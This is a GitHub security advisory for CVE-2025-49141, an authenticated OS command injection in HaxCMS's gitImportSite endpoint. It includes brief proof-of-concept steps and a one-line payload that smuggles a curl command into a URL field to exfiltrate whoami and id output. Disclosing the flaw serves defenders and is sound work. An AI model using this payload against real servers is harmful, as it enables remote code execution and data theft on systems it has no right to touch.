GitHub Advisoryadvisory · npm

GHSA-g4cf-pp4x-hqgw HaxCMS-PHP Command Injection Vulnerability

HIGH Published 2025-06-09 Modified 2025-06-20 Official page ↗
Aliases
CVE-2025-49141
Ecosystem
npm
Packages
@haxtheweb/haxcms-nodejs
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
Weaknesses
CWE-78
Reviewed
2025-06-09

Affected packages

• npm @haxtheweb/haxcms-nodejs: < 11.0.3 → fixed in 11.0.3

Description

Summary The 'gitImportSite' functionality obtains a URL string from a POST request and insufficiently validates user input. The ’set_remote’ function later passes this input into ’proc_open’, yielding OS command injection. Details The vulnerability exists in the logic of the ’gitImportSite’ function, located in ’Operations.php’. The current implementation only relies on the ’filter_var’ and 'strpos' functions to validate the URL, which is not sufficient to ensure absence of all Bash special characters used for command injection. Affected Resources • Operations.php:2103 gitImportSite() • \/\/system/api/gitImportSite PoC To replicate this vulnerability, authenticate and send a POST request to the 'gitImportSite' endpoint with a crafted URL in the JSON data. Note, a valid token needs to be obtained by capturing a request to another API endpoint (such as 'archiveSite'). 1. Start a webserver. 2. Initiate a request to the ’archiveSite’ endpoint. 3. Capture and modify the request in BurpSuite. 4. Observe command output in the HTTP request from the server. Command Injection Payload ```Bash http:///.git;curl${IFS}/$(whoami)/$(id)#=abcdef ``` Impact An authenticated attacker can craft a URL string that bypasses the validation checks employed by the ’filter_var’ and ’strpos’ functions in order to execute arbitrary OS commands on the backend server. The attacker can exfiltrate command output via an HTTP request.

Related

Alias · CVE (1)

  • CVE-2025-49141 HAX CMS PHP allows users to manage their microsite universe with a PHP backend. vulnerability

Weakness · CWE (1)

  • CWE-78 Improper Neutralization of Special Elements used in an OS Command weakness

References